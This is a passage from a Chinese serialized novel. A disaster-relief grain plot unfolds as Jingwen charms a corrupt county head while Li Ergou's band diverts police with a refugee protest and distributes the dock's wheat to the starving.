“哪里,哪里,静雯小姐里面请。” 两人来到县政府小招待所,这里是王正直专门招待尊贵客人的地方。 因为洽谈的是收购小麦事宜,王正直并不想让更多的人知道,就连牛得水都没让过来。 “也不知道静雯小姐喜欢吃什么,就简单准备了一些我们江东的地方特色,静雯小姐可千万不要嫌弃才好。” 静雯看着桌上摆满的海参、鲍鱼、鱼翅、龙虾…… 这么一桌海鲜大餐,王正直却说是随便准备的江东地方特色,真是睁着眼说瞎话。 “王县长,您太客气了,这么丰盛的海鲜大餐,就咱们两个人吃,实在是有些暴殄天物啊。” “静雯小姐喜欢就好,我们江东是小地方,比不得省城,等我回到省城一定请静雯小姐吃西餐。” “奥,王县长也是省城人吗?” 王正直笑得眼睛眯成一条线,就像一尊弥勒佛。 “鄙人在来江东县任职之前,一直在省政府工作。” “失敬失敬,以后还请王县长多多关照啊。” “好说,好说。” 王正直眼珠子滴溜溜盯着静雯,一脸猥琐。 他挥挥手让服务员出去,自己亲自给静雯斟满了一杯酒。 “王县长,怎敢劳您大驾,我不会喝酒。” “能为静雯小姐倒酒是我的荣幸,今天咱们不多喝,每人就一杯,静雯小姐远道而来,我可不敢怠慢啊。” 静雯莞尔一笑,只好说道:“那就谢谢王县长了。” 王正直倒完酒,端起酒杯,兴奋之情溢于言表。 “静雯小姐,再次欢迎你到我们江东检查指导工作,有招待不周的地方还请你多多海涵,我敬你一杯。” 静雯端起酒杯,嫣然一笑。 “谢谢王县长的盛情款待,您是一县之长,能亲自接待我,我真是受宠若惊了。” 两人碰了一下杯,静雯轻轻抿了一口。 “静雯小姐,这次吴爷能安排你来江东,足见他对咱们这次合作的重视,哎,江东县目前灾情严重,我悲痛的几乎吃不下饭,三万多张嘴嗷嗷待哺,我也只能把这些小麦卖掉,再买回一些便宜的杂粮和粗粮,希望江东百姓可以度过今年这个冬天。” 王正直说着眼泪就流了下来。 “让静雯小姐见笑了!” 静雯也是一脸悲伤:“王县长这份拳拳为民之心,着实令我佩服,吴爷这次派我到江东,就是为了尽快促成此事。” 王正直擦干眼泪,问道:“不知道吴爷还有没有其他要求?” 静雯说道:“我来之前,吴爷特意交代过,这次灾情江东受灾最严重,王县长为了江东百姓奔走呼叫,着实令我们感动,所以这次王县长说多少就是多少,我们绝不还价。” 王正直没想到吴有德做事如此敞亮,人家敬咱一尺咱就得敬人家一丈。 “静雯小姐,吴爷不愧是省城商业名家,是令人尊敬的前辈,就按你们说的价格,我绝不讲价,你看这样可以吗?” “和王县长合作,真是令人痛快,王县长将来前途一定不可限量,来,小妹再敬您一杯,以后还请王县长多多关照。” “静雯小姐实在是太客气了,以后有用得着我王某人的地方,尽管开口,我一定竭尽所能为静雯小姐服务。” “王县长,你我一见如故,就叫我静雯吧,当然,您若不嫌弃,也可以叫我妹妹。” “静雯妹妹,我真是诚惶诚恐、荣幸之至啊,你就叫我大哥吧。” “您是县长,我都求之不得,哪里会嫌弃?大哥,小妹这厢有礼了。” “好好好,我们再喝一杯。” 连干三杯之后,王正直已经有些酒意。 “大哥,有件事还得和您商量一下,这五十万斤小麦不是少数,我建议咱们还是走水路,这样可以直接运到吴爷在省城的码头。” “我也正有此意,现在到处都是灾民,走陆路确实不安全,还是走水路放心一些。” “吴爷已经安排好了两艘货船,明天下午就能到达江东码头,还得请大哥多费费心,把小麦尽快运到江东码头。” 江东码头离县城有五公里的距离,用大卡车把五十万斤的小麦运过去,至少也需要一天的时间。 “小妹放心,明天一早我就安排,不会耽误下午装船。” “大哥,我来的路上,看到到处都是灾民,这么多粮食堆在码头不会有什么危险吧?” “哈哈,这个小妹大可放心,在江东县的地面上,还没有人吃了熊心豹子胆敢打县政府粮食的主意。” “有大哥在,我就放心了。” “哈哈,来,咱们兄妹再喝一杯。” 王正直本想让静雯多喝几杯,然后趁机占点便宜,但静雯常年混迹于百乐门大舞厅,酒量一斤白酒打底,她还没觉得酒劲,王正直已经喝成了大舌头。 第214章 大哥净会哄人 “妹子,你听……大哥说,大哥……以前在省城的时候……见过你,你那时候……就像天仙一样,大哥好喜欢你啊……” 静雯鄙夷地看着醉眼朦胧的王正直,忍着恶心说道:“大哥只要不嫌弃小妹,以后咱们有得是交流的机会。” “妹子,你看这漫漫长夜,不如我们去我房间喝茶聊天吧?” “大哥,今晚小妹喝多了,咱们还是改日吧,您早点回去休息。” “我没喝醉!谁说我……喝醉了……” 王正直踉踉跄跄站起来,一个不稳摔倒在地上。 静雯没有去扶他,而是打开房门把一个服务员叫了进来。 “王县长喝多了,你快扶他回房间休息吧。” 王正直躺在地上,一直嚷着自己没喝多。 服务员把他从地上扶起来,他嘴里还一直喊着静雯的名字。 静雯为了安全起见,晚上就住在县政府招待所。 第二天一大早,就有人来敲房门。 静雯没开门就已经猜到是谁。 打开门,果然是王正直。 “大哥,早上好。”静雯主动和他打招呼。 “静雯妹子,昨晚我喝断片了,都不知道怎么回得房间,让你见笑了。” 静雯莞尔一笑,说道:“大哥是性情中人,倒是很对我的脾气。” “那就好,那就好,昨晚睡得还习惯吗?” “挺好的,还得谢谢大哥的周到安排。” 王正直站在门口,静雯丝毫没有让他进屋的意思。 “那你洗漱一下,我等你吃早饭,在一楼餐厅。” “好,谢谢大哥。” 静雯关上房门,王正直揉了揉有些发胀的太阳穴,暗自埋怨道:“哎,喝酒真是误事,这么好的机会都没抓住,王正直啊王正直,你真是一头猪。” 很快,静雯就来到一楼餐厅。 她特意换了一身鹅黄色紧身绣花旗袍,凸凹有致的身材一览无余。 王正直喉咙滚动,狂咽口水。 他亲自给静雯盛了一碗海鲜疙瘩汤。 “妹子,喝点汤醒醒酒,昨晚我们都喝得太多了。” 静雯娇嗔道:“大哥还说呢,昨晚喝了那么多,我头疼了一晚上。” “怪我,怪我,今天晚上一定好好给妹子赔罪。” “嘻嘻,大哥净会哄人,我才不会相信呢。” 王正直被静雯几句撩拨,心都酥了。 “妹子就等着看大哥的表现吧。” “那小妹就拭目以待喽。” 静雯一个媚眼,让王正直的心跳到了嗓子眼。 “大哥,运粮的事都安排好了吗?” “放心吧,都已经安排好了,我调集了十几辆大卡车,现在他们正在后面仓库装车。” “大哥办事可真是让人放心。” 王正直被夸得心花怒放。 “这算什么?如果不是县里保安团被汤司令抽调去打仗,我一次能调集几十辆卡车。” “大哥太威武了,这样我就放心了。大哥,不知道江东县有没有什么好玩的地方?” 王正直心领神会,说道:“江东是千年古县,辖区里风景名胜众多,等吃完了早饭我带你去转转。” “怎么好麻烦大哥亲自陪同呢?我自己去转转就好。” “那怎么行?我怎么也得尽地主之谊不是?现在难民很多,妹子一个人去,我可不放心!” “那就多谢大哥了,嘻嘻。” 吃过早饭之后,王正直带着静雯,去了江东县香火最旺盛的巨佛寺,牛得水亲自带领一队警察跟随保护。 不知为什么,路上难民竟然比平常少了许多,这让王正直脸上倍有面子。 两人一直游玩到午后,才意兴阑珊地回到县政府。 吃过午饭之后,王正直和静雯一同来到江东县码头,码头上堆满了一麻袋一麻袋的小麦,周围有大批荷枪实弹的警察在警戒。 “大哥做事果然谨慎啊,这么多警察,恐怕连一只麻雀也飞不进来吧?” “哈哈,小心驶得万年船,特殊时期,不得不防啊。” 王正直看了看远方,江面上,并没有驶来的大型货船。 “妹子,货船什么时候到啊?粮食已经运得差不多了,随时可以装船。” 静雯看了看腕上精致的瑞士浪琴手表,说道:“按照约定的时间,这个点应该到了,我们再等等吧,应该快了。” “好,不着急,我们先去办公室喝会茶。” 一直等到夜幕降临,货船始终没有到达码头。 静雯心急如焚,王正直倒是显得很淡定,货船晚到,他便可以和静雯多待一些时日。 都说日久生情,他需要的就是时间。 “大哥,货船在路上肯定是遇到什么事了,咱们还是回去发个电报问问吧?” “也好,我看也到了晚饭时间,咱们回县政府等,妹子不要着急,现在是特殊时期,水路上也不太平。” 临走之前,王正直把牛得水叫到跟前,语气严厉地嘱咐道:“牛局长,现在是特殊时期,务必要保证码头粮食的安全,任何人不许擅自进入,违令者格杀勿论,明白吗?” “属下明白,请王县长放心!” 两人乘车返回了县城。 汽车到达城门口时,大批的难民正在涌入县城。 王正直把大批警察调到码头保护粮食,临时接替保安团守卫城门的警察更是捉襟见肘,他们根本挡不住大批难民的冲击。 “他妈的!”王正直发了火,“你下去看看怎么回事?” 秘书张海龙赶紧下车去问情况,很快又跑了回来。 “报告县长,有很多难民非要到县城里面去乞讨,警察挡不住。” 王正直想在静雯面前表现自己的权威,他大声痛骂道:“他牛得水是干什么吃的?一个城门都守不住!老子要撤他的职!” 张海龙也不知道如何回答,警察都被抽去了码头,偌大的城门只留下两个警察看守,面对成百上千的难民,他们如何守得住? “县长,我刚才已经问过了,冲进城内的难民并不多,现在已经完全控制了局势。” “你去告诉他们,再敢放一个难民进城,让他们立马脱下警服滚蛋!” “是,县长。” 静雯一副小迷妹的表情。 “大哥,您好威武啊,小妹佩服。” 第215章 让王正直滚出来 王正直通过县政府的电台直接给省政府机要室的一个朋友发了一封电报,让他马上给吴公馆打电话,核实货船情况。 很快就收到回复,货船已经按计划出发,至于为什么没有按时到岗,吴有德也不知道原因。 “大哥,货船没有按时到达,路上不会出什么事吧?” “应该不会,空船还能出什么事?妹子你就安心再住一晚,有大哥在,不用担心。” “那一切就拜托大哥了。” “走,我们去喝酒。” 静雯使出浑身解数,把王正直喝得晕晕乎乎、迷迷糊糊。 “我们要吃饭!” “我们要吃饭!” 外边突然响起了震耳欲聋的喧嚣声。 静雯有些担心地问道:“大哥,外边怎么这么吵?不会是出什么事了吧?” 王正直自信地笑道:“哈哈,妹子,你不要这么紧张,这里是县政府,怎么可能出事?万事有大哥在,你就放宽心吧。” “让王正直出来!” “让王正直出来!” 外边的喊声越来越大。 “大哥,你听,他们好像在喊你的名字。” 王正直皱着眉头,大声喊道:“来人呐。” 门外一个服务员听到后赶紧推门进来。 “王县长,您有什么吩咐?” “马上去问问外边是怎么回事?这么吵,影响了静雯小姐吃饭的雅兴,我拿你们是问。” “好的,王县长,我马上去问。” 服务员刚出门就和跑进来的张海龙撞了个满怀。 “什么事,如此慌慌张张?静雯小姐还在这里呢,成何体统!” 张海龙从地上爬起来,满头大汗,说道:“王县长,不好了,出大事了!” “我告诉你多少次,每临大事有静气,你慌什么?天还没塌下来嘛!” 张海龙深吸一口气,说道:“县长,县政府大门口有大批难民,嚷着叫您出去。” “大胆刁民,”王正直拍案而起,“他们把县政府当成什么了?敢来这里捣乱,简直是活得不耐烦了,你赶紧让警察把他们赶走!” “县长,难民太多了,黑压压一大片,足有几百人,他们把县政府围得水泄不通,两个站岗的警察都被他们打了!” 听到有几百难民,王正直不免大吃一惊,但在静雯面前,他不想失态。 “这些警察是干什么吃的?连几个难民都收拾不了?干不了让他们回家抱孩子去!” “县长,难民太多,县政府只有四名警察,实在是太少了,根本控制不住局势啊。” “让王正直滚出来!” “让王正直滚出来!” …… 声音越来越大也越来越近,难民已经冲到楼下。 静雯吓得眼泪汪汪,对王正直撒娇道:“大哥,怎么办啊?他们不会冲上楼吧?我好怕啊。” “妹子不要怕,大哥在这里呢,”王正直趁机摸着静雯的手,然后他看向张海龙,命令道:“他娘的!这群刁民简直是反了!你马上给牛得水打电话,让他马上从码头调五十人回来,一定不能让这群刁民冲进来。” 张海龙犹豫道:“县长,从码头抽调五十人回来,码头那边会不会有危险?” 王正直一犹豫,静雯立马撒娇道:“大哥,人家好怕啊。” “能有什么危险?让他们留下十个人,其他的都给我回来,处理完这边的事再回去,不会有事的,快去!” 张海龙只能领命而去。 王正直不停地抚摸着静雯的手背,安慰道:“妹子不要怕,大哥在这呢。” “还好有大哥,不然人家都吓死了。” “不怕不怕,大哥保护你。” 码头离县政府只有五公里的距离,牛得水带着大批警察,半个小时就赶到了县政府。 “让王正直滚出来!” “我们要吃饭!” “让王正直滚出来!” “我们要吃饭!” 大批的难民已经冲进县政府大院,他们高呼着口号,把办公楼完全包围起来。 牛得水站在人群外边,大声驱离着难民,可这群难民仿佛被施了魔咒一般,根本不害怕警察。 他想带着几个警察穿过人群进入办公楼,可根本挤不进去。 一个警察凑过来,问道:“局长,我们怎么办?” 牛得水哭丧着一张脸,没好气地说道:“我知道怎么办?!” “局长,我觉得有些奇怪,你看这群难民,他们只是高呼口号,可都到办公楼下面却不冲进楼里,他们表现的也太冷静了吧?” 牛得水一想也对,一群饥寒交迫的难民,都已经冲进院里,为何会止步于办公楼前呢? 他们确实太冷静了! 牛得水想了想,说道:“你小子懂什么?他们是怕咱们手里的枪!他们真敢冲进办公楼,咱们手里的枪难道是烧火棍吗?” 经过牛得水一番解释,这个警察完全心悦诚服。 “牛局长,您真牛!” “你小子少拍马屁,告诉弟兄们做好准备,一旦有人冲进办公楼,立马开枪!” “是!” 牛得水安排好一切,费了九牛二虎之力才穿过人群来到办公楼下面。 四个警察正手拉着手拦住汹涌的人群,难民们口号喊得震天响,就是不上前一步。 “牛局长,您终于来了。” 一个警察眼含热泪,仿佛看到了救星一般。 “你们辛苦了!到时候我给你们请功,一定不要让他们冲进大楼,明白吗?” “明白!他们要想冲进大楼,除非在我们身体上踏过去!” “好样的!不愧是我牛得水的手下。你们放心,我带来很多人,他们正在外围警戒,一旦有情况,他们会第一时间冲过来。我先上楼,你们一定要拦住他们!” 牛得水闪身上了楼。 张海龙看到牛得水,激动地握住他的手,说道:“牛局长,你可算来了,王县长正在上面发火呢。” 牛得水心想,这个王正直,胆子未免小了些,几个难民就吓成这副样子,多读书有个屁用,关键时刻还得靠腰里的硬家伙。 “张秘书,你快带我去见王县长。” 张海龙带着牛得水来到二楼包厢,王正直听到敲门声,才恋恋不舍地松开握着静雯的手。 第216章 李二狗智取小麦 “进来!” 牛得水推门而进,给王正直敬了一个标准的军礼。 “王县长,卑职已带人奉命赶到,请您指示。” “牛局长,你带来多少人?” “报告县长,除了按照您的命令留在码头的十人之外,其余人已全部带到,一共八十三人。” “好,你现在马上去把这些刁民赶走!若是有一个刁民冲进楼里,我拿你是问。” “请县长放心,卑职一定不会放一个刁民进来。” “很好,你去办吧,不过要注意,不到万不得已千万不要开枪,以免上边追究我们的责任,你懂我的意思吧?” “卑职明白!” 牛得水来到楼下,难民们正在陈老三的带领下继续高喊口号。 “让王正直滚出来!” “我们要吃饭!” “让王正直滚出来!” “我们要吃饭!” …… “大家静一静,听我说,大家静一静,听我说……” 牛得水的声音完全淹没在难民们的口号中…… 与此同时,几千名难民已经聚集到码头附近的河神庙。 自从静雯来到江东县之后,李二狗就安排宋孬蛋带领清风寨的弟兄们在江东各地传播消息。 十五号晚上九点钟,有人在江东码头东边二公里处的河神庙发放粮食。 同时还警告他们,说粮食有限,一定不要轻易告诉别人,否则就不够分了。 宋孬蛋看着越聚越多的难民,内心有一种抑制不住的冲动。 “到底什么时候发粮食啊?” “粮食在哪啊?” “快点发粮食吧!” …… 宋孬蛋蒙着面站在河神庙门前的一个高台上,面对汹涌的人群,他大声喊道:“大家静一静,听我说!” 他连喊了七八声,人群才渐渐安静下来。 “大家不要着急,听我说,再过一会,江东码头会燃放一个绚烂的烟花,那时候我们就去江东码头领粮食,大家都听清楚了没有?” “听清楚了!” 大家停止喧嚣,静静等待绚烂的烟花升起。 李二狗带领陈嘎子、张石头和几十个清风寨的兄弟正埋伏在码头周围。 他看了看手表,时针已经指向九点。 他低声喝道:“大家准备,一会跟我冲进去。” 黑暗中,有两个黑影悄悄摸到码头门口正在打瞌睡的两个警察身后,“咔喳”一声,扭断了他们的脖子。 他冲着李二狗一招手,李二狗立即带领着兄弟们冲进了码头。 陈嘎子按照事先得到的情报,带领几个人冲进宿舍,大喊一声:“全都不许动!” 没放一枪一弹,十个警察就被轻松解决了。 “石头,你去放烟火。” “嘎子,让兄弟们赶紧把船开过来,装五百袋小麦,我另有安排。” “嘭”的一声巨响,烟花腾空而起,在天空中绽开五颜六色烟花,有的像流星徘徊在夜空,有的像万寿菊欣然怒放,还有的像仙女散花。 宋孬蛋大吼一声:“大家快去码头领粮食啊!” 汹涌的人群争前恐后地向码头奔去。 半个小时后,码头的粮食已被搬空。 李二狗站在夜空下,看着灯火通明的码头,感慨道:“孬蛋,希望我们今天做的事情能被子孙后代记着。” 宋孬蛋笑道:“狗哥,我们必将活在他们心中。” “你小子,撤!” 县政府大院内。 陈老三偷偷看了一眼手表,回头大声喊道:“大家都散了吧,别吓着县长大人!” 在牛得水惊讶的眼神中,人群很快就消失得无影无踪。 陈老三带着这群难民直奔仙人洞镇码头,宋孬蛋正在那里等着给他们发放粮食。 牛得水跑到楼前,王正直还在安慰静雯。 “报告县长,在我苦口婆心地劝导下,难民已经散去,请您指示。” “牛局长,你做得非常好,你这一功我先给你记下了。” “多谢王县长栽培,卑职定当竭尽全力,报答您的厚爱。” “好,你还得再辛苦辛苦,马上带人赶回码头,一定要确保粮食的安全。” “卑职明白!” 牛得水走后,王正直笑意盈盈地看着静雯,说道:“妹子,这回你可以彻底安心了吧?来,我们再喝一杯。” “大哥真的好威武,人家好佩服,我敬大哥一杯。” 王正直豪气冲天地说道:“好,妹子,来,干了!” 望着静雯娇红的脸颊,王正直心痒难耐。 “妹子,咱们喝得差不多了,我看还是回我房间喝点茶醒醒酒吧?” 静雯娇声娇气地说道:“大哥真的好坏,总想占人家便宜。” “嘿嘿,怎么会呢?妹子可不要想歪了,就是单纯地喝茶,我想和妹子深入地交流交流。” “哐”的一声,门被撞开了,张海龙木头桩子似的站在门口,脸上的表情仿佛他亲爹刚刚咽气。 “张海龙,你狗日的慌里慌张做什么?吓着静雯小姐我一枪毙了你!” 张海龙几乎带着哭腔说道:“县长!码头出事了!” 王正直立马冲到张海龙身前,揪住他的衣领,大声喝问道:“什么?你说什么?码头出什么事了?” “码头上的粮食已经被人抢劫一空!” “什么!” 王正直一把将张海龙推倒在地,他脚下一个趔趄,静雯眼疾手快上前扶住他。 “大哥,你快点拿个主意啊!” “备车,马上去码头!” 张海龙从地上爬起来,赶紧去叫醒司机把车开到楼前。 王正直在静雯的搀扶下钻进汽车,直奔码头。 “王县长,您总算来了,您看……” 王正直看着被抢劫一空的码头,“啪”的一声,给了牛得水一个耳光。 “你他娘的是怎么看守的?整整五十万斤粮食竟然消失得无影无踪?” 牛得水委屈极了,他极力辩解道:“王县长,卑职可是奉了您的命令,才带人回的县政府。” “啪!” 王正直又给了牛得水一记耳光。 “你的意思是我的错?我不是让你留下十个人吗?怎么会悄无声息地被抢了还不知情?” 被俘虏的警察知道自己犯了不可饶恕的罪过,被李二狗放了之后,他们第一时间就逃之夭夭了。 “留下的那些人不知道什么原因都不见了,也许是被人扔进江里了。” “给我查!一定要查出幕后指使之人,老子要将他们碎尸万段!” 第217章 自投罗网 “大哥,出了这么大的事情,我得连夜赶回省城向吴爷汇报这里的情况。” 小麦并未装上船,一切损失只能由王正直承担,他欲哭无泪。 “妹子,我知道这个要求可能有点让你为难,但看在咱兄妹感情的份上,你能不能回去给吴爷多美言几句,赔偿一点我们的损失,这些小麦毕竟是在送货的路上出的事。” 静雯立马保证道:“大哥请放心,我回去一定尽全力为你争取。” “患难见真情呐!妹子。” 这时,静雯带来的司机开着车来到江东码头。 “大哥,事不宜迟,我现在就回省城,你多保重,咱们后会有期。” 静雯说完便钻进汽车,汽车疾驰而去。 王正直看着夜色中渐渐消失的汽车尾灯,总感觉哪里有些不对劲。 静雯的车在一处山坡下停了下来,李二狗弯腰钻进车厢。 两人旁若无人地一顿互啃,要不是司机在场,一场车震在所难免。 “二狗,你刚才没看见,王正直的脸都气绿了,真是太解气了。” “静雯,这次你立了大功,我代表江东的父老乡亲感谢你。” 静雯娇羞一笑,问道:“那你想怎么感谢我?” 李二狗还未说话,司机抢先说道:“静雯小姐,我肚子突然有点不舒服,想下车去方便一下。” 静雯说道:“去吧。” “还得麻烦静雯小姐多等我一会,我这一时半会可回不来。” “快去吧,待会儿我叫你。” 司机下了车,一头钻进旁边的小树林。 静雯挑衅地说道:“说吧,你想怎么感谢我?” 李二狗嘿嘿一笑。 “比起在车里,其实我更喜欢以天为盖地为庐的野外体验。” “你……讨厌死了!” 两人不知忙活了多久,天已蒙蒙亮,东方天际露出鱼肚白。 渐渐地,鱼肚白变成淡红色,像人喝了酒,脸上呈现出一抹红晕。 “静雯,对我的感谢满意吗?” “讨厌!” 静雯一脸红晕,像极了天边的云彩。 “我去看看司机怎么还不回来。” 李二狗下了车,来到小树林,司机正靠在一棵大树下睡得香甜。 李二狗婉拒了静雯的盛情相邀,他在江东还有重要的事情要做。 静雯走后,李二狗回到胡家大院。 “李管家,您可回来了。” 张二驴一张脸拉的老长。 李二狗玩笑道:“怎么了,二驴?谁家欠你钱了?拉着一张驴脸。” “李管家,您还有心思开玩笑,我都快急死了!一大早县政府就派人来通知,让您今天下午三点去县政府开会。” 王正直把全县的地主豪绅关在会议室里敲竹杠的行为早已传遍整个江东,张二驴知道去县政府开会意味着什么。 “这个王正直还真是狗急跳墙,敲竹杠也不知道换个方法,当大家都是傻子吗?” “是啊,大家吃一堑长一智,谁还敢去?” 李二狗知道大家都不敢去,可不去就能躲得过去吗? 就像孙竹刚说的,王正直有一万种方法治你。 “二驴,这事你怎么看?” “不能去!坚决不能去!去了可就出不来了。” “躲得过初一,躲得过十五吗?政府要想收拾你,你怎么躲得掉?” “那怎么办?” 李二狗心想,现在整个江东哀鸿遍野,除了各大地主大院,几乎都没有存粮。 想办法让这些地主大院拿出存粮救济灾民是当务之急。 除了县政府,其他人根本没有这个能力可以逼迫他们拿出存粮,这些人把自家存粮都藏在各个隐蔽的地方,不知内情的人根本无法得知藏粮之处。 “我去县政府开会。” 张二驴急忙劝道:“李管家,这个时候去县政府开会无异于自投罗网啊,您一定要三思啊。” “二驴,你想想,别人都不去,只有咱们去了,他王正直还敢把咱关起来吗?那样的话其他人更不敢去了!既然早晚躲不过,早去还能争取主动。” 张二驴还是有些担心,但李二狗决定的事,他只能服从。 “李管家,我看还是找几个壮实的家丁陪您一起去吧?” “二驴,我是去县政府,你就是带再多的家丁有什么用?我还是一个人去。” 张二驴愈发佩服李二狗的胆识,怪不得人家能在短时间内做到管家这个位置上,自己需要学习的东西还很多啊。 “李管家,您放心,如果您第二天不回来,我就带领大家去县政府门口静坐,我就不信他们能一手遮天。” “二驴,现在是非常时期,你在家一定要看好门户,你放心,我料定王正直不会把我怎么样。” 李二狗看时间尚早,便去于兰芝那里逗弄了一会梦瑶,女儿对着他一笑,所有的烦恼都没有了。 吃过午饭,李二狗骑着马直奔县城。 和事先料想的一样,偌大的会议室里只来了李二狗一人。 王正直气得脸都绿了,他抓起桌上的茶杯,狠狠地砸到门上,痛骂道:“这些人真是给脸不要脸,看老子怎么收拾他们!” 李二狗劝道:“王县长,何必与他们置气呢?千万不要气坏了您自己的身体,江东三万多百姓还等着您救济呢。” “李管家,放眼整个江东县,觉悟最高的还是你,我看你别在胡家大院当什么狗屁管家了,干脆来县政府,我让你当江东县民政科科长怎么样?” 李二狗立即表现出一副受宠若惊的样子。 “我说今天出门怎么听见喜鹊在头上叫呢,原来是有王县长您这位贵人要提携我啊,我李二狗何德何能,能得到县长您的垂青,实在是诚惶诚恐,我自知能力有限,恐担不起这个重任。” “李管家,你就不要谦虚了,像你这样的人才就应该放在更高的位置上才能发挥更大的作用。” 李二狗说道:“王县长,感谢您的厚爱,但我李二狗出身低微,又没读过几年书,实在担不起如此重任,要是耽误了您的大事,我可负不起这个责任。” 王正直对李二狗的态度感到有些奇怪。 在江东县,要想当科长,至少得送五百块大洋,可自己白送李二狗一个科长,他却拒绝了,实在是令人匪夷所思。 第218章 非同小可 要说李二狗不想当官,那肯定是假话。谁不想混个一官半职,光耀门楣? 但李二狗深信天下没有无缘无故的爱。 王正直这时候提出让李二狗当民政科科长,用意很明显,就是让他负责捐粮、筹粮、赈灾,王正直想找一个替罪羊。 李二狗还没傻到别人扔给他一个肉包子他就屁颠屁颠去捡的程度。 “李管家,你可要想清楚啊,当了科长,以后你在江东县就是有头有脸的人物,他胡士高见到你都得点头哈腰,背后的好处更是多到数不清。” “再次感谢王县长的厚爱,可我知道自己能吃几碗干饭,我实在没有能力干好这个科长,王县长还是另选贤能吧。” 王正直一脸失望,他没想到李二狗这么不识抬举。 “李管家,既然你不愿意,那我也就不勉强了,咱们进入今天会议的正题吧。目前江东县灾情严重,社会各界捐赠的粮食根本缓解不了目前的灾情,你们胡家大院还得慷慨解囊,救百姓于水火啊。” 李二狗紧咬嘴唇,一副悲痛的表情。 “王县长这份爱民如子的心实在令我感动,可您也知道,上次我们胡家大院已经捐了十五万斤小麦,那几乎是我们的全部存粮,我听说其他大院只捐赠了三万到五万斤不等的粮食,王县长,您还得多动员动员他们才是。” 王正直冷哼一声,说道:“那些人以为今天不来开会就能逃避自己应尽的社会责任,他们这是白日做梦。” “那王县长可想到合情合理又合法的办法没有?” 王正直一怔,心想,难道这个李二狗有什么好办法不成? “李管家,这里只有咱们两个人,有什么话不妨直说,事成之后我绝对不会亏待你。” 李二狗深吸一口气,仿佛下了很大的决心一般,说道:“王县长,有句话我不知当讲不当讲?” “但说无妨!” “我要说出来,县长您可别生气。” “我不生气,你快说。” “我如果说得不对,县长可以当我没说。” “李管家,我保证不生气,你就快说吧。” “县长,上次全县捐赠的粮食,并没有拿出来赈济灾民,”李二狗观察着王正直的表情,他脸上没有任何变化,“我知道上次情况特殊,汤司令额外摊派了军粮的任务。但这次筹集的粮食,我建议一定要拿出一部分来赈济灾民,否则很容易引起民变,王县长以为如何?” 王正直一脸正气,先对李二狗竖了一个大拇指,说道:“李管家所言极是,上次因为迫不得已,把你们捐赠的粮食全部上交给汤司令,我保证,这次再捐赠的粮食一定全部拿出来赈济灾民。” “王县长,江东百姓有您这样的父母官,真是他们八辈子修好的福气,我代表他们感谢您。” “李管家,这些客套的话就先别说了,你先说你的办法。” 李二狗便把自己的办法告诉了王正直,王正直听后直夸妙! “李管家,此事非同小可,一定不能泄露了消息,我让牛局长全力配合你。” 李二狗说道:“县长,这件事一定要找自己信得过的人去做,牛局长身负维护全县治安的重任,我担心他抽不出身来。” 王正直对牛得水最近的表现非常不满意,作为前任县长任命的警察局局长,他早有了更换之心。 “李管家有什么建议?” “警察局孙竹刚队长为人正直,作风正派,勇于负责,敢于担当,我建议这次行动让他带队参加,不知县长意下如何?” “李管家推荐的人肯定没有问题,那就让孙竹刚带队配合你。” “县长,还有一个问题,如果您越过牛局长直接安排孙队长,恐怕会引起牛局长的不满,孙队长不是局领导,我担心他会有所顾忌,不敢担此重任啊。” “这个好办,我让牛得水安排他。” “县长,您亲自安排牛局长,万一以后出点什么事,这个责任谁来负?我听说牛局长这个人很擅长推卸责任。” 王正直知道李二狗心中早已有了主意,便说道:“那就说出你的建议吧。” “王县长,我建议您直接把孙竹刚提拔为警察局副局长,这样您再直接安排他工作就显得合情合理了。” “好,我马上命人去安排。”他冲着门外喊道,“张秘书,你进来一下。” 张海龙正在会议室门口等候,听到王正直的声音,赶紧推门进入会议室。 “县长,请您指示。” “你先去给警察局的孙竹刚打个电话,让他马上到这里来,提醒他不要告诉任何人,另外,你去起草一份任命通知,提拔孙竹刚为县警察局副局长,主持警察局日常工作。” 张海龙听后惊讶不已,孙竹刚一个小小的警察局队长,一跃成为县警察局二把手,这提拔速度堪比炮弹。 张海龙到自己办公室先给县警察局办公室打了一个电话,因为据他所知,警察局只有几个局领导办公室才有电话。 警察局办公室接到县政府的电话,以为是有什么重要事情传达,没想到竟是找孙竹刚,这令他诧异不已。 “张秘书,您稍等,我马上去叫孙队长。” 孙竹刚听到县长秘书给他打电话,更是惊讶不已。 他跑步来到办公室,握话筒的手都有些颤抖。 “张秘书您好,请您指示。” “孙局长,您别和我一个小秘书开玩笑了,我哪敢指示您啊。” 孙竹刚听到张海龙叫他孙局长,顿时懵了,以张海龙的身份他不可能随便乱叫,难道…… “张秘书,您别逗我了,您是县领导,立正稍息的道理我还是懂得。” 张海龙心想,孙竹刚这个人可真能装犊子,都这时候了还装不知情,他要是不跑不送,王正直能随便提拔他当副局长?做梦吧! “孙局长,我没有逗您,王县长让您马上到县政府会议室,他在等您。” 孙竹刚挂断电话,脑子还是懵的。 第219章 血流成河 放下电话,孙竹刚彻底懵了! 县长怎么会亲自接见他一个小小的警察局队长呢? 难道是牛得水在王正直面前为自己争取的机会? 想到这,他快步走到牛得水办公室,牛得水并不在办公室。 想到是县长找自己,孙竹刚不敢耽搁,赶紧骑上自行车去了县政府。 张海龙正在楼下等候,见到孙竹刚,立马迎了上去。 “孙局长,王县长正在楼上会议室等您。” 孙竹刚脑瓜子懵懵的,张海龙作为县长秘书,以前根本不拿正眼瞧自己。 “张秘书,你这到底是什么意思?你可别吓我啊?” “孙局长,进去你就知道了,咱们快去会议室吧,王县长正在等您。” 孙竹刚怀着惴惴不安的心情来到会议室,没想到李二狗也在。 两人交换了一个意味深长的眼神,但孙竹刚还是不敢相信。 “王县长,您找我?” 王正直看着孙竹刚,觉得这个人有些面熟,但对他并没有很深的印象。 “你就是孙竹刚?” “报告县长,我是县警察局行动队队长孙竹刚。” “孙队长,不对,应该是孙局长,请坐。” 孙竹刚只感觉呼吸有些困难,他的心跳动得厉害,已经顶在嗓子眼上。 他半张屁股坐在椅子上,努力让自己平静下来。 “孙局长,我注意你很久了,对你工作能力我非常满意,这次李管家大力推荐你,县政府已经决定提拔你为副局长,主持县警察局的日常工作。” “哐”的一声,孙竹刚没坐稳,摔在地上。 王正直憋着笑,问道:“孙局长,摔着没有?张秘书,以后开会前一定要检查一遍桌椅,不结实的一定要第一时间换掉。” 张海龙连连答应道:“好的,我知道了,王县长,下次一定注意。” 孙竹刚从地上爬起来,显得无比尴尬,王正直倒是很享受这种场面。 下属在他面前越是显得战战兢兢,他内心就越有一种高高在上的优越感。 “孙局长,我有一件极其重要的工作要交给你,此事事关重大,你一定要做好保密工作。” “王县长请放心,保证完成任务。” 